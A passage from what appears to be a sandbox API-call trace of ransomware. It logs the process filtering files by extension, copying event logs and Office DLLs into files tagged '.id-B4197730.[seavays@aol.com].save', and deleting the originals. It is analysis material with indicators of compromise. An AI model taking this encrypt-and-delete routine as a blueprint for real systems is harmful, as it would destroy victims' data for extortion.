Advanced Security%4ConnectionSecurity.evtx") returned 90 [0066.996] lstrlenW (lpString=".zip") returned 4 [0066.997] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0066.997] lstrlenW (lpString=".rar") returned 4 [0066.997] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0066.997] lstrlenW (lpString=".bz2") returned 4 [0066.997] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0066.997] lstrlenW (lpString=".7z") returned 3 [0066.997] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0066.997] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0066.997] lstrlenW (lpString=".dbf") returned 4 [0066.997] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0066.997] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0066.997] lstrlenW (lpString=".1cd") returned 4 [0066.997] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0066.997] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0066.997] lstrlenW (lpString=".jpg") returned 4 [0066.997] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0066.997] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0066.997] lstrlenW (lpString="Setup.evtx") returned 10 [0066.997] CreateFileW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0066.998] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=69632) returned 1 [0066.998] CloseHandle (hObject=0x2ec) returned 1 [0066.998] GetFileAttributesW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx")) returned 0x20 [0066.998] GetFileAttributesW (lpFileName="C:\\Logs\\Setup.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\setup.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0066.998] CreateFileW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0066.998] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.998] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.998] CreateFileW (lpFileName="C:\\Logs\\Setup.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\setup.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0066.998] GetLastError () returned 0x0 [0066.998] ReadFile (in: hFile=0x2ec, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x11000, lpOverlapped=0x0) returned 1 [0067.002] WriteFile (in: hFile=0x374, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x11010, lpOverlapped=0x0) returned 1 [0067.004] ReadFile (in: hFile=0x2ec, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0067.004] WriteFile (in: hFile=0x374, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0xe8, lpOverlapped=0x0) returned 1 [0067.004] SetEndOfFile (hFile=0x374) returned 1 [0067.004] CloseHandle (hObject=0x374) returned 1 [0067.006] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.006] SetEndOfFile (hFile=0x2ec) returned 1 [0067.008] CloseHandle (hObject=0x2ec) returned 1 [0067.008] SetFileAttributesW (lpFileName="C:\\Logs\\Setup.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0067.008] DeleteFileW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx")) returned 1 [0067.008] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0067.008] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0067.008] lstrlenW (lpString=".doc") returned 4 [0067.008] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0067.008] lstrlenW (lpString=".docx") returned 5 [0067.008] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0067.008] lstrlenW (lpString=".pdf") returned 4 [0067.008] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0067.008] lstrlenW (lpString=".xls") returned 4 [0067.008] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0067.008] lstrlenW (lpString=".xlsx") returned 5 [0067.009] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0067.009] lstrlenW (lpString=".ppt") returned 4 [0067.009] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0067.009] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0067.009] lstrlenW (lpString=".zip") returned 4 [0067.009] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0067.009] lstrlenW (lpString=".rar") returned 4 [0067.009] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0067.009] lstrlenW (lpString=".bz2") returned 4 [0067.009] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0067.009] lstrlenW (lpString=".7z") returned 3 [0067.009] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0067.009] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0067.009] lstrlenW (lpString=".dbf") returned 4 [0067.009] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0067.009] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0067.009] lstrlenW (lpString=".1cd") returned 4 [0067.009] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0067.009] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0067.009] lstrlenW (lpString=".jpg") returned 4 [0067.009] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0067.009] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0067.009] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0067.009] lstrlenW (lpString=".doc") returned 4 [0067.009] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0067.009] lstrlenW (lpString=".docx") returned 5 [0067.009] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0067.009] lstrlenW (lpString=".pdf") returned 4 [0067.010] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0067.010] lstrlenW (lpString=".xls") returned 4 [0067.010] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0067.010] lstrlenW (lpString=".xlsx") returned 5 [0067.010] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0067.010] lstrlenW (lpString=".ppt") returned 4 [0067.010] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0067.010] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0067.010] lstrlenW (lpString=".zip") returned 4 [0067.010] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0067.010] lstrlenW (lpString=".rar") returned 4 [0067.010] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0067.010] lstrlenW (lpString=".bz2") returned 4 [0067.010] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0067.010] lstrlenW (lpString=".7z") returned 3 [0067.010] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0067.010] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0067.010] lstrlenW (lpString=".dbf") returned 4 [0067.010] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0067.010] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0067.010] lstrlenW (lpString=".1cd") returned 4 [0067.010] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0067.010] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0067.010] lstrlenW (lpString=".jpg") returned 4 [0067.010] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0067.011] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0067.011] lstrlenW (lpString="System.evtx") returned 11 [0067.011] CreateFileW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0067.012] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=1118208) returned 1 [0067.012] CloseHandle (hObject=0x2ec) returned 1 [0067.012] GetFileAttributesW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx")) returned 0x20 [0067.012] GetFileAttributesW (lpFileName="C:\\Logs\\System.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\system.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0067.012] CreateFileW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0067.012] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.012] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.012] CreateFileW (lpFileName="C:\\Logs\\System.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\system.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0067.013] GetLastError () returned 0x0 [0067.013] ReadFile (in: hFile=0x2ec, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0067.573] WriteFile (in: hFile=0x374, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0068.006] ReadFile (in: hFile=0x2ec, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x11010, lpOverlapped=0x0) returned 1 [0068.018] WriteFile (in: hFile=0x374, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x11020, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x11020, lpOverlapped=0x0) returned 1 [0068.023] ReadFile (in: hFile=0x2ec, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0068.023] WriteFile (in: hFile=0x374, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0xea, lpOverlapped=0x0) returned 1 [0068.023] SetEndOfFile (hFile=0x374) returned 1 [0068.024] CloseHandle (hObject=0x374) returned 1 [0068.338] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.338] SetEndOfFile (hFile=0x2ec) returned 1 [0068.340] CloseHandle (hObject=0x2ec) returned 1 [0068.341] SetFileAttributesW (lpFileName="C:\\Logs\\System.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0068.341] DeleteFileW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx")) returned 1 [0068.342] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0068.342] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0068.342] lstrlenW (lpString=".doc") returned 4 [0068.342] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0068.342] lstrlenW (lpString=".docx") returned 5 [0068.342] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0068.342] lstrlenW (lpString=".pdf") returned 4 [0068.342] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0068.342] lstrlenW (lpString=".xls") returned 4 [0068.342] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0068.342] lstrlenW (lpString=".xlsx") returned 5 [0068.342] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0068.342] lstrlenW (lpString=".ppt") returned 4 [0068.342] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0068.342] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0068.342] lstrlenW (lpString=".zip") returned 4 [0068.342] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0068.342] lstrlenW (lpString=".rar") returned 4 [0068.342] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0068.342] lstrlenW (lpString=".bz2") returned 4 [0068.342] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0068.342] lstrlenW (lpString=".7z") returned 3 [0068.343] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0068.343] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0068.343] lstrlenW (lpString=".dbf") returned 4 [0068.343] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0068.343] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0068.343] lstrlenW (lpString=".1cd") returned 4 [0068.343] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0068.343] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0068.343] lstrlenW (lpString=".jpg") returned 4 [0068.343] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0068.343] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0068.343] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0068.343] lstrlenW (lpString=".doc") returned 4 [0068.343] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0068.343] lstrlenW (lpString=".docx") returned 5 [0068.343] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0068.343] lstrlenW (lpString=".pdf") returned 4 [0068.343] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0068.343] lstrlenW (lpString=".xls") returned 4 [0068.343] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0068.343] lstrlenW (lpString=".xlsx") returned 5 [0068.343] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0068.343] lstrlenW (lpString=".ppt") returned 4 [0068.343] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0068.343] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0068.344] lstrlenW (lpString=".zip") returned 4 [0068.344] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0068.344] lstrlenW (lpString=".rar") returned 4 [0068.344] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0068.344] lstrlenW (lpString=".bz2") returned 4 [0068.344] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0068.344] lstrlenW (lpString=".7z") returned 3 [0068.344] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0068.344] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0068.344] lstrlenW (lpString=".dbf") returned 4 [0068.344] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0068.344] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0068.344] lstrlenW (lpString=".1cd") returned 4 [0068.344] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0068.344] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0068.344] lstrlenW (lpString=".jpg") returned 4 [0068.344] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0068.344] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0068.344] lstrlenW (lpString="api-ms-win-crt-filesystem-l1-1-0.dll") returned 36 [0068.344] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0068.345] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=20672) returned 1 [0068.345] CloseHandle (hObject=0x2ec) returned 1 [0068.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 0x20 [0068.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0068.590] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0068.591] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.591] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.591] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0068.591] GetLastError () returned 0x0 [0068.591] ReadFile (in: hFile=0x374, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x50c0, lpOverlapped=0x0) returned 1 [0068.593] WriteFile (in: hFile=0x39c, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x50d0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x50d0, lpOverlapped=0x0) returned 1 [0068.594] ReadFile (in: hFile=0x374, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0068.594] WriteFile (in: hFile=0x39c, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x11c, lpOverlapped=0x0) returned 1 [0068.594] SetEndOfFile (hFile=0x39c) returned 1 [0068.594] CloseHandle (hObject=0x39c) returned 1 [0068.596] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.596] SetEndOfFile (hFile=0x374) returned 1 [0068.597] CloseHandle (hObject=0x374) returned 1 [0068.597] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0068.597] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 1 [0068.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0068.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0068.597] lstrlenW (lpString=".doc") returned 4 [0068.597] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.597] lstrlenW (lpString=".docx") returned 5 [0068.598] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0068.598] lstrlenW (lpString=".pdf") returned 4 [0068.598] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.598] lstrlenW (lpString=".xls") returned 4 [0068.598] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.598] lstrlenW (lpString=".xlsx") returned 5 [0068.598] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0068.598] lstrlenW (lpString=".ppt") returned 4 [0068.598] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0068.598] lstrlenW (lpString=".zip") returned 4 [0068.598] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.598] lstrlenW (lpString=".rar") returned 4 [0068.598] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.598] lstrlenW (lpString=".bz2") returned 4 [0068.598] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.598] lstrlenW (lpString=".7z") returned 3 [0068.598] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0068.598] lstrlenW (lpString=".dbf") returned 4 [0068.598] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0068.598] lstrlenW (lpString=".1cd") returned 4 [0068.598] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0068.598] lstrlenW (lpString=".jpg") returned 4 [0068.598] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0068.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0068.598] lstrlenW (lpString=".doc") returned 4 [0068.598] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.598] lstrlenW (lpString=".docx") returned 5 [0068.598] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0068.599] lstrlenW (lpString=".pdf") returned 4 [0068.599] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.599] lstrlenW (lpString=".xls") returned 4 [0068.599] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.599] lstrlenW (lpString=".xlsx") returned 5 [0068.599] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0068.599] lstrlenW (lpString=".ppt") returned 4 [0068.599] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0068.599] lstrlenW (lpString=".zip") returned 4 [0068.599] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.599] lstrlenW (lpString=".rar") returned 4 [0068.599] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.599] lstrlenW (lpString=".bz2") returned 4 [0068.599] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.599] lstrlenW (lpString=".7z") returned 3 [0068.599] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0068.599] lstrlenW (lpString=".dbf") returned 4 [0068.599] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0068.599] lstrlenW (lpString=".1cd") returned 4 [0068.599] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0068.599] lstrlenW (lpString=".jpg") returned 4 [0068.599] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.599] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0068.599] lstrlenW (lpString="AppVFileSystemMetadata.dll") returned 26 [0068.599] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0068.600] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=307416) returned 1 [0068.600] CloseHandle (hObject=0x374) returned 1 [0068.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll")) returned 0x20 [0068.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common 